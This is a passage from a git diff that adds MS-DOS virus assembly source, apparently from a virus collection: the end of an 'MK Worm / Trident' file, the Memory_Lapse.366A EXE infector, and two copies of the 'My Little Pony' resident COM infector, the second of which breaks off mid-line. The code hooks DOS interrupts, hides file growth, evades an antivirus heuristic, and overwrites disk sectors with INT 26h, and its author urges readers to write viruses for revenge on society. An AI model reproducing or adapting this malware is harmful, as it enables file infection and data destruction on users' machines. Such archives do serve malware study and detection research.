mov dx,0 + mov cx,7 +rnd_lup: shl ax,1 + rcl dx,1 + mov bl,al + xor bl,dh + jns rnd_l2 + inc al +rnd_l2: loop rnd_lup + pop bx + +move_rnd: mov word ptr cs:[rnd_get+4],ax + mov word ptr cs:[rnd_get+7],dx + mov al,dl + pop cx + pop dx + ret + + +;********************************************************************** +;* data +;********************************************************************** + + db ' MK Worm / Trident ' +root_dir db '\',0 +back_dir db '..',0 +dirname db '*.*',0 + +comname db '*.COM',0 +filename db '.\' +restname db (26d) dup (?) + +xval db 32d, 34d, 36d, 38d, 40d, 42d, 44d, 46d, 48d, 0 +yval db (wormlen+2) dup (12d) + +direction db 3 +old_direc db 3 +count db 0 + +eind: + +cseg ends + end begin + + \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.ml_366a.asm b/MSDOS/Virus.MSDOS.Unknown.ml_366a.asm new file mode 100644 index 00000000..bf82ba9b --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.ml_366a.asm @@ -0,0 +1,189 @@ + title "Memory_Lapse.366A" +;ÉĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶ» +;ŗ Assembly Source Listing for Memory_Lapse.366A ŗ +;ŗ Copyright (c) 1993 Memory Lapse. All Rights Reserved. ŗ +;ĒÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ +;ŗ The Memory_Lapse.366A Virus is a non-encrypting, time/date stamp saving, ŗ +;ŗ original attribute retaining, disk transfr area preserving, direct action ŗ +;ŗ non-overwriting, appending, EXE infector. ŗ +;ČĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶͼ + .model tiny ;_ASSUME CS=DS=ES=SS + .code ;/ + org 100h ;Origin @ 100h + ; +start: ;Marks Start of Source +v_start: ;Marks Start of Virus + call $+003h ;Push IP onto Stack + pop bp ;Restore IP into BP + sub bp,103h ;Subtract for Delta + ; + push es ;Save Segment onto Stack + pop di ;Load DI w/DS + add di,010h ;Locate Start of EXE + + add di,cs:[bp+word ptr host_bytes+016h] ;Add CS to Start of EXE + ; + push di cs:[bp+word ptr host_bytes+014h] ;Push CS & IP onto Stack + push es ds cs ;Push Segments to Stack + + sub ax,ax ;Load Register w/Zero + push ax ax ;Push Registers to Stack + pop es ds ;Load Segments w/Zero + ; + mov si,021h*004h ;DS:[SI] > INT 21 Vector + mov di,003h*004h ;ES:[DI] > INT 03 Vector + ; + movsw ;DS:[SI] -> ES:[DI] + movsw ;DS:[SI] -> ES:[DI] + ; + pop ds ;Restore DS (CS=DS) + ; + mov ah,030h ;AH=30h / GET DOS VERS'N + int 003h ;DOS Services + ; + cmp al,003h ;Is it DOS 3.0? + jb returntohost ;Jump if Below + ; + mov ah,01Ah ;AH=1Ah / SET DTA + lea dx,cs:[bp+DTA] ;DX=Location of DTA + int 003h ;DOS Services + ; + mov [bp+byte ptr file_count],003h ;Memory Segment = 003h + ; +findfirstEXEfile: ; + mov ah,04Eh ;AH=4Eh / FINDFIRST + mov cx,1FFh ;CX=Attribute Masking + lea dx,cs:[bp+fileEXEspec] ;DX=File Search Type + ; +twilightZONE: ; + int 003h ;DOS Services + ; + jc doneEXEinfect ;Jump if Carry Set + ; + jmp SHORT infectEXEfile ;Unconditional Jump + ; +findnextEXEfile: ; + cmp [bp+byte ptr file_count],000h ;Infected 3 Files? + je doneEXEinfect ;Jump if Equal/Zero + ; + mov ah,04Fh ;AH=4Fh / FINDNEXT + ; + jmp SHORT twilightZONE ;Unconditional Jump + ; +doneEXEinfect: ; + mov ah,01Ah ;AH=1Ah / SET DTA + mov dx,080h ;DX=080h / Start of CMD + int 003h ;DOS Services + ; +returntohost: ; + pop ds es ;Restore Segments + ; + retf ;Return Far + ; +virus_name db 'Memory_Lapse.366A (07/01/93)',000h + db 'Copyright (c) 1993 Memory Lapse',000h + ; +infectEXEfile: ; + mov ax,3D00h ;AX=3D00h / OPEN + lea dx,cs:[bp+DTA+01Eh] ;DX=ASCIIZ File Name + int 003h ;DOS Services + ; + xchg bx,ax ;Exchange Register Value + ; + push bx ;Save File Handle + ; + mov ax,1220h ;AX=1220h / + int 2Fh ;Multiplex Interrupt + ; + mov bl,es:[di] ; + ; + mov ax,1215h ;AX=1215h / + inc ax ;AX=1216h / + int 2Fh ;Multiplex Interrupt + ; + pop bx ;Restore File Handle + ; + mov es:[di+word ptr 002h],002h ;Open for Read / Write + ; + mov ah,03Fh ;AH=3Fh / READ + mov cx,018h ;CX=Number of Bytes + lea dx,ds:[bp+host_bytes] ;DX=Buffer for Data + int 003h ;DOS Services + ; + cmp ds:[bp+word ptr host_bytes+000h],'ZM' ;Are We A Valid EXE? + jnz closeEXEfile ;Jump if Not Equal/Zero + ; + cmp ds:[bp+word ptr host_bytes+012h],'LM' ;Are We Infected? + jz closeEXEfile ;Jump if Equal/Zero + ; + mov ax,4202h ;AX=4202h / LSEEK EOF + sub cx,cx ;Load Register w/Zero + cwd ;Load Register w/Zero + int 003h ;DOS Services + ; + push dx ax ;Save Registers on Stack + ; + mov ah,040h ;AH=40h / WRITE + mov cx,(v_end-v_start) ;CX=Number of Bytes + lea dx,cs:[bp+v_start] ;DX=Location of Data + int 003h ;DOS Services + ; + mov ax,4202h ;AX=4202h / LSEEK EOF + xor cx,cx ;Load Register w/Zero + cwd ;Load Register w/Zero + int 003h ;DOS Services + ; + mov cx,200h ;CX=Number to Divide By + div cx ;Divide AX by CX + ; + inc ax ;Increment AX + ; + mov ds:[bp+word ptr host_bytes+004h],ax ;# of Pages in File + mov ds:[bp+word ptr host_bytes+002h],dx ;# of Bytes @ Last Page + ; + pop ax dx ;Restore Registers + ; + mov cx,010h ;CX=Number to Divide By + div cx ;Divide AX by CX + ; + sub ax,ds:[bp+word ptr host_bytes+008h] ;Subtract Header Size + ; + mov ds:[bp+word ptr host_bytes+016h],ax ;CS=Location of Virus + mov ds:[bp+word ptr host_bytes+014h],dx ;IP=Start of Virus + mov ds:[bp+word ptr host_bytes+012h],'LM' ;CRC=Infection Marker + ; + mov es:[di+word ptr 015h],000h ;Move File Pointer to + mov es:[di+word ptr 017h],000h ;Start of File Using SFT + ; + mov ah,040h ;AH=40h / WRITE + mov cx,018h ;CX=Number of Bytes + lea dx,ds:[bp+host_bytes] ;DX=Location of Data + int 003h ;DOS Services + ; + mov ax,5701h ;AX=5701h / SET T/D + mov cx,cs:[bp+word ptr DTA+016h] ;CX=Original Time @ DTA + mov dx,cs:[bp+word ptr DTA+018h] ;DX=Original Date @ DTA + int 003h ;DOS Services + ; + dec [bp+byte ptr file_count] ;Decrement Counter + ; +closeEXEfile: ; + mov ah,03Eh ;AH=3Eh / CLOSE File + int 003h ;DOS Services + ; + jmp findnextEXEfile ;Unconditional Jump + ; +host_bytes db 016h dup (000h) ;Buffer for Starting + dw 0FFF0h ;of the EXE header. + db 002h dup (000h) ; + ; +;Get Rid of ThunderByte's "Searches for COM/EXE Files" Heuristic Flag + ; +fileEXEspec db '*M.EXE',000h ;ASCIIZ File Specifics + ; +v_end: ;Marks End of Virus + ; +file_count db 001h dup (?) ;Buffer for Counter +DTA db 02Ah dup (?) ;Buffer for DTA + ; +end start ;Marks End of Source diff --git a/MSDOS/Virus.MSDOS.Unknown.mlp-1307.asm b/MSDOS/Virus.MSDOS.Unknown.mlp-1307.asm new file mode 100644 index 00000000..3735810b --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.mlp-1307.asm @@ -0,0 +1,749 @@ + .model tiny + .code + + org 100h + +start: + +;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=; +; A NEW ORDER OF INTELLIGENCE PRESENTS: ; +; My Little Pony 1.00 ; +; Copyright (c) 1992, 1993 by Cruel Entity / Macaroni Ted ; +; - A.N.O.I - ; +; ; +; ; +; I know that there is a much better documented source-code for this ; +; virus. And I'm also very interessted to get in touch with the guy ; +; who did that documentation. Please contact me. ; +; ; +; You may freely use this code as you want, just give me some of the ; +; credits. Please learn to create virus, so we, together can get our ; +; revenge to the soceity. Learn to feel the feeling being cruel! ; +; ; +; Of cource I can't take any responsibility for all virus-coders ; +; who use any of the routines in this virus. ; +; ; +; ; +; Greetings to; The Unforgiven for giving me AT&T's ; +; Immortal Riot's members '94 ; +; The man sitting in basement ; +; ; +; ps! Tasm /m3 and tlink /t to get this babe into executable! +;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=; + +start: + call $+3 +sub_this: pop bp + + mov ax,0dd22h ;are we already in memory? + int 21h + cmp ax,03d33h + jne $+7 + lea dx,[bp+(cancel-sub_this)] + jmp far ptr dx + + mov ax,3521h ;get int 21h vect + int 21h + mov [bp+(int_21h_off-sub_this)],bx + mov [bp+(int_21h_seg-sub_this)],es + + mov ax,cs + dec ax + mov es,ax + mov ax,es:[0003h] + sub ax,[bp+(memlen-sub_this)] + mov es:[0003h],ax + mov ax,[bp+(memlen-sub_this)] + sub word ptr es:[0012h],ax + mov es,es:[0012h] + push es + + lea si,[bp+(start-sub_this)] + mov di,0100h + mov cx,[bp+(filelen-sub_this)] + rep movsb + + pop ds ;es => ds + mov ax,2521h ;new vector at ES:0100 + lea dx,new_int_21h + int 21h +cancel: + push cs ;cs => ds => es + push cs + pop ds + pop es + + lea si,[bp+(first_bytes-sub_this)] + mov cx,3 + mov di,100h + rep movsb + sub di,3 + jmp far ptr di + + db 'Simple Simon met a pieman going to the fair said' + db ' Simple Simon to the pieman let me take your ware' +write_rnd_sector: + cmp dh,0 ;sec + jne back + + cmp dl,5 ;100th + ja back + + + pushf ;fuck rnd sector + push bx + + call get_rnd + mov cx,10 ;/ 10 + xor dx,dx + div cx + mov dx,ax ;dx=ax + + mov al,2h ; Drive #, start with C: + mov cx,1h ; # of sectors to overwrite + lea bx,logo ; Address to overwriting DATA +loopie: + int 26h + popf + inc al + cmp al,25 + jne loopie + + + pop bx + popf + jmp back + + db '(c)1993 Cruel Entity' + +;- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - +; New int 21h +;- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - +new_int_21h: + pushf + + cmp ax,0dd22h ;check if resident + je mem_check + + cmp ah,11h ;find 1st old + je find_old + cmp ah,12h ;find 1st old + je find_old + + cmp ah,4eh ;dos 2.x + je find_ + cmp ah,4fh + je find_ + + cmp ah,3dh ;open + je open_ + + cmp ah,3eh ;close + je close_ + + cmp ah,2ch + je back2 + + push ax + push cx + push dx + + mov ah,2ch + int 21h + + cmp cl,00 ;a new hour? + je write_rnd_sector +back: + pop dx + pop cx + pop ax + +back2: + cmp ah,36h + jne return_21h + push bp + lea bp,get_free_space + jmp far ptr bp +return_21h: + popf + +real_int_21h: db 0eah ;jmp... +int_21h_off dw ? ;to old int 21h +int_21h_seg dw ? +;- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + + +find_: + push bp + lea bp,find_new + jmp far ptr bp + +open_: + push bp + lea bp,open + jmp far ptr bp +close_: + push bp + lea bp,close_file + jmp far ptr bp + +mem_check: + popf + mov ax,3d33h + iret +call_int21h: + jmp dword ptr cs:int_21h_off ;force a call to DOS + ret + +find_old: + popf + + pushf ;find fcb + push cs + call call_int21h + cmp al,0ffh + je no_more_files + + pushf + push ax + push bx + push cx + push dx + push si + push di + push ds + push es + push bp + + mov ah,2fh ;get dta + int 21h + + push es ;es:bx + pop ds ;ds:bx + mov si,bx ;ds:si + + add si,16 ;ext name + lodsw + cmp ax,'OC' ;.CO + jne cancel_ff + lodsb + cmp al,'M' ;M + jne cancel_ff +ext_ok: + ;ext=com + mov si,bx ;check size + add si,26h + lodsw + cmp ax,0 ;=> 0ffffh? + jne cancel_ff + + mov si,bx ;check if already infected + add si,30 + lodsw ;time + and al,00011111b + cmp al,00001010b + je $+7 ;already infected (sec=24) + lea dx,store_in_mem + jmp far ptr dx + + mov si,bx ;alter size + add si,36 + mov di,si + lodsw + sub ax,cs:filelen + jz cancel_ff + stosw +cancel_ff: + pop bp + pop es + pop ds + pop di + pop si + pop dx + pop cx + pop bx + pop ax + popf +no_more_files: retf 2 ;iret flags + + db "%%% MY LITTLE PONY %%% COPYRIGHT(C) 1993 A.N.O.I. %%%" + +store_in_mem: ;store filename in buffer + mov si,bx + add si,8 + + push cs ;cs => es + pop es + + mov cx,10 + lea di,file_buffer ;check pos +check_pos: + cmp byte ptr es:[di],20h + je store + add di,8 + loop check_pos + jmp cancel_ff + +store: + mov cx,8 + rep movsb + jmp cancel_ff +;- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + +get_free_space: + pop bp + push ax + push bx + push cx + push dx + push si + push di + push ds + push es + push bp + + push cs ;cs=> ds=> es + push cs + pop ds + pop es + + lea di,file_buffer + mov cx,10 +check_last: + cmp byte ptr [di],20h ;check if last + je cancel_inf + + push di + push cx + mov si,di ;si=file pos + call infect + pop cx + pop di + + add di,8 + loop check_last +cancel_inf: + push cs + pop es + lea di,file_buffer + mov cx,80+12 + mov al,20h + rep stosb + + pop bp + pop es + pop ds + pop di + pop si + pop dx + pop cx + pop bx + pop ax + popf + jmp real_int_21h + +infect: + ;convert filename to asciiz + lea di,filename + mov cx,8 ;filename NOT ext +cpy_filename: + lodsb + cmp al,20h + je filename_klar + stosb + loop cpy_filename +filename_klar: + mov al,'.' + stosb + mov al,'C' + stosb + mov al,'O' + stosb + mov al,'M' + stosb + mov al,0 + stosb + + push cs + pop ds + + mov ax,4300h ;get attrib + lea dx,filename + int 21h + jnc $+3 ;error? + ret + + push cx ;save attrib + + xor cx,cx + mov ax,4301h ;force all attribs + int 21h + + mov ax,3d02h ;open filename + lea dx,filename + pushf + push cs + call call_int21h + mov bx,ax ;save handle + + mov ax,5700h ;get time/date + int 21h + + push dx ;save time/date + push cx + + and cl,00011111b + cmp cl,00001010b + jne $+7 ;already infected (sec=24) + lea dx,cancel_inf2 + jmp far ptr dx + + + + mov ah,3fh ;read 3 first bytes + mov cx,3 + lea dx,first_bytes + int 21h + + mov ax,4202h ;goto eof + xor dx,dx + xor cx,cx + int 21h + + sub ax,3 ;create a jmp + mov jmp_2,ax + + mov ah,40h ;write virus + mov dx,100h + mov cx,filelen + int 21h + + mov ax,4200h ;goto beg + xor dx,dx + xor cx,cx + int 21h + + mov ah,40h ;write jmp + mov cx,3 + lea dx,jmp_1 + int 21h +cancel_inf2: + pop cx ;restore time/date + pop dx + + and cl,11100000b ;secs=20 + or cl,00001010b + mov ax,5701h ;set time/date + int 21h + + mov ah,3eh ;close + pushf + push cs + call call_int21h + + mov ax,4301h ;set attrib + lea dx,filename + pop cx ;restore attrib + int 21h + + ret +find_new: + pop bp + popf + + pushf ;find 4e + push cs + call call_int21h + jnc more_files + retf 2 +more_files: + pushf + push ax + push bx + push cx + push dx + push si + push di + push ds + push es + push bp + + mov ah,2fh ;get dta + int 21h + + push es ;es:bx + pop ds ;ds:bx + + mov si,bx ;ds:si + + push cs ;cs => es + pop es + + add si,1eh ;f name + lea di,filename + mov cx,25 + +get_fname: + lodsb + cmp al,0 + je get_f_klar + stosb + loop get_fname +get_f_klar: + mov al,0 ;asciiz + stosb + + push ds ;ds=> es + pop es + push cs ;cs=> ds + pop ds + mov si,di + + sub si,4 ;'COM' + lodsw ;CO + + cmp ax,'OC' + je check_m + cmp ax,'oc' + jne cancel_new +check_m: + lodsb + cmp al,'m' + je ext_is_com + cmp al,'M' + jne cancel_new + +ext_is_com: + push es ;es=> ds + pop ds + + mov si,bx + add si,1ch ;check size + lodsw + cmp ax,0 ;=> 0ffffh + jne cancel_new + + mov si,bx + add si,16h + lodsw ;time + and al,00011111b + cmp al,00001010b + jne cancel_new ;not infected + + mov si,bx + add si,1ah + mov di,si + lodsw ;alter size + sub ax,cs:filelen + jz cancel_new + stosw + +cancel_new: + pop bp + pop es + pop ds + pop di + pop si + pop dx + pop cx + pop bx + pop ax + popf +no_more_files2: retf 2 ;iret flags +open: + pop bp + push ax + push bx + push cx + push dx + push si + push di + push bp + push ds + push es + + + mov al,'.' + push ds ;ds=> es + pop es + mov di,dx ;es:di filename + + mov cx,50 + repnz scasb + + mov si,di ;ds:si file ext. + + lodsw + cmp ax,'OC' + je check_m2 + cmp ax,'oc' + je $+7 + lea dx,cancel_open + jmp far ptr dx +check_m2: + lodsb + cmp al,'m' + je ext_is_com2 + cmp al,'M' + jne cancel_open + +ext_is_com2: + mov ax,3d02h ;open file + pushf + push cs + call call_int21h + jc cancel_open + mov bx,ax + + push cs + pop ds + push cs + pop es + + mov ax,5700h ;get time/date + int 21h + + and cl,00011111b ;already infected + cmp cl,00001010b + jne cancel_open + + mov ax,4202h ;goto eof + xor dx,dx + xor cx,cx + int 21h + + push ax ;save size + sub ax,3 + + mov dx,ax ;goto eof -3 + mov ax,4200h + mov cx,0 + int 21h + + mov ah,3fh ;read + mov cx,3 + lea dx,temp_bytes + int 21h + + + mov ax,4200h ;goto beg + xor cx,cx + xor dx,dx + int 21h + + mov ah,40h ;write original + mov cx,3 + lea dx,temp_bytes + int 21h + + pop dx + sub dx,filelen + + mov ax,4200h ;goto real size + mov cx,0 + int 21h + + mov ah,40h + mov cx,0 + int 21h + + mov ah,3eh + pushf + push cs + call call_int21h +cancel_open: + pop es + pop ds + pop bp + pop di + pop si + pop dx + pop cx + pop bx + pop ax + popf + + pushf ;open file... + push cs + call call_int21h + retf 2 + +close_file: + pop bp + push ax + push bx + push cx + push dx + push si + push di + push bp + push ds + push es + + mov ax,1220h ;get handle table + int 02Fh + mov bl,es:[di] + mov ax,1216h + int 02Fh + + mov bp,di + + add di,28h + push es + pop ds + mov si,di + lodsw + cmp ax,'OC' + jne cancel_open + lodsb + cmp al,'M' + jne cancel_open + + mov si,bp + add si,20h + push cs + pop es + + call infect + + jmp cancel_open + +get_rnd: + push dx + push cx + push bx + in al,40h ;'@' + add ax,0000 + mov dx,0000 + mov cx,0007 +rnd_init5: + shl ax,1 + rcl dx,1 + mov bl,al + xor bl,dh + jns rnd_init6 + inc al +rnd_init6: + loop rnd_init5 + pop bx + mov al,dl + pop cx + pop dx +rnd_init_ret: + ret + +logo db '>>> A.N.O.I <<<' ; DATA to overwrite with + + +temp_bytes db 3 dup(?) +filelen dw offset eof - offset start +memlen dw 100 +file_buffer db 80 dup(20h) +filename db 12 dup(?) + +jmp_1 db 0e9h +jmp_2 dw ? +first_bytes db 90h,0cdh,20h + +eof: + end start \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.mlp1307a.asm b/MSDOS/Virus.MSDOS.Unknown.mlp1307a.asm new file mode 100644 index 00000000..d71d3716 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.mlp1307a.asm @@ -0,0 +1,749 @@ + .model tiny + .code + + org 100h + +start: + +;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=; +; A NEW ORDER OF INTELLIGENCE PRESENTS: ; +; My Little Pony 1.00 ; +; Copyright (c) 1992, 1993 by Cruel Entity / Macaroni Ted ; +; - A.N.O.I - ; +; ; +; ; +; I know that there is a much better documented source-code for this ; +; virus. And I'm also very interessted to get in touch with the guy ; +; who did that documentation. Please contact me. ; +; ; +; You may freely use this code as you want, just give me some of the ; +; credits. Please learn to create virus, so we, together can get our ; +; revenge to the soceity. Learn to feel the feeling being cruel! ; +; ; +; Of cource I can't take any responsibility for all virus-coders ; +; who use any of the routines in this virus. ; +; ; +; ; +; Greetings to; The Unforgiven for giving me AT&T's ; +; Immortal Riot's members '94 ; +; The man sitting in basement ; +; ; +; ps! Tasm /m3 and tlink /t to get this babe into executable! +;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=; + +start: + call $+3 +sub_this: pop bp + + mov ax,0dd22h ;are we already in memory? + int 21h + cmp ax,03d33h + jne $+7 + lea dx,[bp+(cancel-sub_this)] + jmp far ptr dx + + mov ax,3521h ;get int 21h vect + int 21h + mov [bp+(int_21h_off-sub_this)],bx + mov [bp+(int_21h_seg-sub_this)],es + + mov ax,cs + dec ax + mov es,ax + mov ax,es:[0003h] + sub ax,[bp+(memlen-sub_this)] + mov es:[0003h],ax + mov ax,[bp+(memlen-sub_this)] + sub word ptr es:[0012h],ax + mov es,es:[0012h] + push es + + lea si,[bp+(start-sub_this)] + mov di,0100h + mov cx,[bp+(filelen-sub_this)] + rep movsb + + pop ds ;es => ds + mov ax,2521h ;new vector at ES:0100 + lea dx,new_int_21h + int 21h +cancel: + push cs ;cs => ds => es + push cs + pop ds + pop es + + lea si,[bp+(first_bytes-sub_this)] + mov cx,3 + mov di,100h + rep movsb + sub di,3 + jmp far ptr di + + db 'Simple Simon met a pieman going to the fair said' + db ' Simple Simon to the pieman let me take your ware' +write_rnd_sector: + cmp dh,0 ;sec + jne back + + cmp dl,5 ;100th + ja back + + + pushf ;fuck rnd sector + push bx + + call get_rnd + mov cx,10 ;/ 10 + xor dx,dx + div cx + mov dx,ax ;dx=ax + + mov al,2h ; Drive #, start with C: + mov cx,1h ; # of sectors to overwrite + lea bx,logo ; Address to overwriting DATA +loopie: + int 26h + popf + inc al + cmp al,25 + jne loopie + + + pop bx + popf + jmp back + + db '(c)1993 Cruel Entity' + +;- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - +; New int 21h +;- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - +new_int_21h: + pushf + + cmp ax,0dd22h ;check if resident + je mem_check + + cmp ah,11h ;find 1st old + je find_old + cmp ah,12h ;find 1st old + je find_old + + cmp ah,4eh ;dos 2.x + je find_ + cmp ah,4fh + je find_ + + cmp ah,3dh ;open + je open_ + + cmp ah,3eh ;close + je close_ + + cmp ah,2ch + je back2 + + push ax + push cx + push dx + + mov ah,2ch + int 21h + + cmp cl,00 ;a new hour? + je write_rnd_sector +back: + pop dx + pop cx + pop ax + +back2: + cmp ah,36h + jne return_21h + push bp + lea bp,get_free_space + jmp far ptr bp +return_21h: + popf + +real_int_21h: db 0eah ;jmp... +int_21h_off dw ? ;to old int 21h +int_21h_seg dw ? +;- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + + +find_: + push bp + lea bp,find_new + jmp far ptr bp + +open_: + push bp + lea bp,open + jmp far ptr bp +close_: + push bp + lea bp,close_file + jmp far ptr bp + +mem_check: + popf + mov ax,3d33h + iret +call_int21h: + jmp dword ptr cs:int_21h_off ;force a call to DOS + ret + +find_old: + popf + + pushf ;find fcb + push cs + call call_int21h + cmp al,0ffh + je no_more_files + + pushf + push ax + push bx + push cx + push dx + push si + push di + push ds + push es + push bp + + mov ah,2fh ;get dta + int 21h + + push es ;es:bx + pop ds ;ds:bx + mov si,bx ;ds:si + + add si,16 ;ext name + lodsw + cmp ax,'OC' ;.CO + jne cancel_ff + lodsb + cmp al,'M' ;M + jne cancel_ff +ext_ok: + ;ext=com + mov si,bx ;check size + add si,26h + lodsw + cmp ax,0 ;=> 0ffffh? + jne cancel_ff + + mov si,bx ;check if already infected + add si,30 + lodsw ;time + and al,00011111b + cmp al,00001010b + je $+7 ;already infected (sec=24) + lea dx,store_in_mem + jmp far ptr dx + + mov si,bx ;alter size + add si,36 + mov di,si + lodsw + sub ax,cs:filelen + jz cancel_ff + stosw +cancel_ff: + pop bp + pop es + pop ds + pop di + pop si + pop dx + pop cx + pop bx + pop ax + popf +no_more_files: retf 2 ;iret flags + + db "%%% MY LITTLE PONY %%% COPYRIGHT(C) 1993 A.N.O.I. %%%" + +store_in_mem: ;store filename in buffer + mov si,bx + add si,8 + + push cs ;cs => es + pop es + + mov cx,10 + lea di,file_buffer ;check pos +check_pos: + cmp byte ptr es:[di],20h + je store + add di,8 + loop check_pos + jmp cancel_ff + +store: + mov cx,8 + rep movsb + jmp cancel_ff +;- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + +get_free_space: + pop bp + push ax + push bx + push cx + push dx + push si + push di + push ds + push es + push bp + + push cs ;cs=> ds=> es + push cs + pop ds + pop es + + lea di,file_buffer + mov cx,10 +check_last: + cmp byte ptr [di],20h ;check if last + je cancel_inf + + push di + push cx + mov si,di ;si=file pos + call infect + pop cx + pop di + + add di,8 + loop check_last +cancel_inf: + push cs + pop es + lea di,file_buffer + mov cx,80+12 + mov al,20h + rep stosb + + pop bp + pop es + pop ds + pop di + pop si + pop dx + pop cx + pop bx + pop ax + popf + jmp real_int_21h + +infect: + ;convert filename to asciiz + lea di,filename + mov cx,8 ;filename NOT ext +cpy_filename: + lodsb + cmp al,20h + je filename_klar + stosb + loop cpy_filename +filename_klar: + mov al,'.' + stosb + mov al,'C' + stosb + mov al,'O' + stosb + mov al,'M' + stosb + mov al,0 + stosb + + push cs + pop ds + + mov ax,4300h ;get attrib + lea dx,filename + int 21h + jnc $+3 ;error? + ret + + push cx ;save attrib + + xor cx,cx + mov ax,4301h ;force all attribs + int 21h + + mov ax,3d02h ;open filename + lea dx,filename + pushf + push cs + call call_int21h + mov bx,ax ;save handle + + mov ax,5700h ;get time/date + int 21h + + push dx ;save time/date + push cx + + and cl,00011111b + cmp cl,00001010b + jne $+7 ;already infected (sec=24) + lea dx,cancel_inf2 + jmp far ptr dx + + + + mov ah,3fh ;read 3 first bytes + mov cx,3 + lea dx,first_bytes + int 21h + + mov ax,4202h ;goto eof + xor dx,dx + xor cx,cx + int 21h + + sub ax,3 ;create a jmp + mov jmp_2,ax + + mov ah,40h ;write virus + mov dx,100h + mov cx,filelen + int 21h + + mov ax,4200h ;goto beg + xor dx,dx + xor cx,cx + int 21h + + mov ah,40h ;write jmp + mov cx,3 + lea dx,jmp_1 + int 21h +cancel_inf2: + pop cx ;restore time/date + pop dx + + and cl,11100000b ;secs=20 + or cl,00001010b + mov ax,5701h ;set time/date + int 21h + + mov ah,3eh ;close + pushf + push cs + call call_int21h + + mov ax,4301h ;set attrib + lea dx,filename + pop cx ;restore attrib + int 21h + + ret +find_new: + pop bp + popf + + pushf ;find 4e + push cs + call call_int21h + jnc more_files + retf 2 +more_files: + pushf + push ax + push bx + push cx + push dx + push si + push di + push ds + push es + push bp + + mov ah,2fh ;get dta + int 21h + + push es ;es:bx + pop ds ;ds:bx + + mov si,bx ;ds:si + + push cs ;cs => es + pop es + + add si,1eh ;f name + lea di,filename + mov cx,25 + +get_fname: + lodsb + cmp al,0 + je get_f_klar + stosb + loop get_fname +get_f_klar: + mov al,0 ;asciiz + stosb + + push ds ;ds=> es + pop es + push cs ;cs=> ds + pop ds + mov si,di + + sub si,4 ;'COM' + lodsw ;CO + + cmp ax,'OC' + je check_m + cmp ax,'oc' + jne cancel_new +check_m: + lodsb + cmp al,'m' + je ext_is_com + cmp al,'M' + jne cancel_new + +ext_is_com: + push es ;es=> ds + pop ds + + mov si,bx + add si,1ch ;check size + lodsw + cmp ax,0 ;=> 0ffffh + jne cancel_new + + mov si,bx + add si,16h + lodsw ;time + and al,00011111b + cmp al,00001010b + jne cancel_new ;not infected + + mov si,bx + add si,1ah + mov di,si + lodsw ;alter size + sub ax,cs:filelen + jz cancel_new + stosw + +cancel_new: + pop bp + pop es + pop ds + pop di + pop si + pop dx + pop cx + pop bx + pop ax + popf +no_more_files2: retf 2 ;iret flags +open: + pop bp + push ax + push bx + push cx + push dx + push si + push di + push bp + push ds + push es + + + mov al,'.' + push ds ;ds=> es + pop es + mov di,dx ;es:di filename + + mov cx,50 + repnz scasb + + mov si,di ;ds:si file ext. + + lodsw + cmp ax,'OC' + je check_m2 + cmp ax,'oc' + je $+7 + lea dx,cancel_open + jmp far ptr dx +check_m2: + lodsb + cmp al,'m' + je ext_is_com2 + cmp al,'M' + jne cancel_open + +ext_is_com2: + mov ax,3d02h ;open file + pushf + push cs + call call_int21h + jc cancel_open + mov bx,ax + + push cs + pop ds + push cs + pop es + + mov ax,5700h ;get time/date + int 21h + + and cl,00011111b ;already infected + cmp cl,00001010b + jne cancel_open + + mov ax,4202h ;goto eof + xor dx,dx + xor cx,cx + int 21h + + push ax ;save size + sub ax,3 + + mov dx,ax ;goto eof -3 + mov ax,4200h + mov cx,0 + int 21h + + mov ah,3fh ;read + mov cx,3 + lea dx,temp_bytes + int 21h + + + mov ax,4200h ;goto beg + xor cx,cx + xor dx,dx + int 21h + + mov ah,40h ;write original + mov cx,3 + lea dx,temp_bytes + int 21h + + pop dx + sub dx,filelen + + mov ax,4200h ;goto real size + mov cx,0 + int 21h + + mov ah,40h + mov cx,0 + int 21h + + mov ah,3eh + pushf + push cs + call call_int21h +cancel_open: + pop es + pop ds + pop bp + pop di + pop si + pop dx + pop cx + pop bx + pop ax + popf + + pushf ;open file... + push cs + call call_int21h + retf 2 + +close_file: + pop bp + push ax + push bx + push cx + push dx + push si + push di + push bp + push ds + push es + + mov 